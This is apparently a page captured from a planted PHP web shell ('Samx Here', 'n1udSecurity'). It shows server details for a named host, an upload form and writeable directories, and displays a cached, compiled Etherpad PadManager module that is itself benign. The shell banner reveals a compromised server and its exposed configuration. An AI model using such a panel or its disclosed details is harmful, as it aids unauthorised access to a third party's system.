Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /tmp/tsx-1023/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //tmp/tsx-1023/17180-a175e91b1ce08f3d65f9dcd9b0c306c1e249a82f
{"code":"(()=>{\n\"use strict\";const CustomError=require(\"../utils/customError\");const Pad=require(\"../db/Pad\");const db=require(\"./DB\");const settings=require(\"../utils/Settings\");const globalPads={get(name){return this[`:${name}`]},set(name,value){this[`:${name}`]=value},remove(name){delete this[`:${name}`]}};const padList=new class{constructor(){this._cachedList=null;this._list=new Set;this._loaded=null}async getPads(){if(!this._loaded){this._loaded=(async()=>{const dbData=await db.findKeys(\"pad:*\",\"*:*:*\");if(dbData==null)return;for(const val of dbData)this.addPad(val.replace(/^pad:/,\"\"))})()}await this._loaded;if(!this._cachedList)this._cachedList=[...this._list].sort();return this._cachedList}addPad(name){if(this._list.has(name))return;this._list.add(name);this._cachedList=null}removePad(name){if(!this._list.has(name))return;this._list.delete(name);this._cachedList=null}};exports.getPad=async(id,text,authorId=\"\")=>{if(!exports.isValidPadId(id)){throw new CustomError(`${id} is not a valid padId`,\"apierror\")}if(text!=null){if(typeof text!==\"string\"){throw new CustomError(\"text is not a string\",\"apierror\")}if(text.length>1e5){throw new CustomError(\"text must be less than 100k chars\",\"apierror\")}}let pad=globalPads.get(id);if(pad!=null){return pad}pad=new Pad.Pad(id);await pad.init(text,authorId);globalPads.set(id,pad);padList.addPad(id);return pad};exports.listAllPads=async()=>{const padIDs=await padList.getPads();return{padIDs}};exports.doesPadExist=async padId=>{const value=await db.get(`pad:${padId}`);return value!=null&&value.atext};exports.doesPadExists=exports.doesPadExist;const padIdTransforms=[[/\\s+/g,\"_\"],[/:+/g,\"_\"]];exports.sanitizePadId=async padId=>{for(let i=0,n=padIdTransforms.length;i<n;++i){const exists=await exports.doesPadExist(padId);if(exists){return padId}const[from,to]=padIdTransforms[i];padId=padId.replace(from,to)}if(settings.lowerCasePadIds)padId=padId.toLowerCase();return padId};exports.isValidPadId=padId=>/^(g.[a-zA-Z0-9]{16}\\$)?[^$]{1,50}$/.test(padId);exports.removePad=async padId=>{const p=db.remove(`pad:${padId}`);exports.unloadPad(padId);padList.removePad(padId);await p};exports.unloadPad=padId=>{globalPads.remove(padId)};\n})()\n","warnings":[],"map":{"version":3,"mappings":"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","names":[],"ignoreList":[],"sources":["/home/etherpad/src/node/db/PadManager.ts"],"sourcesContent":[null]}}

SAMX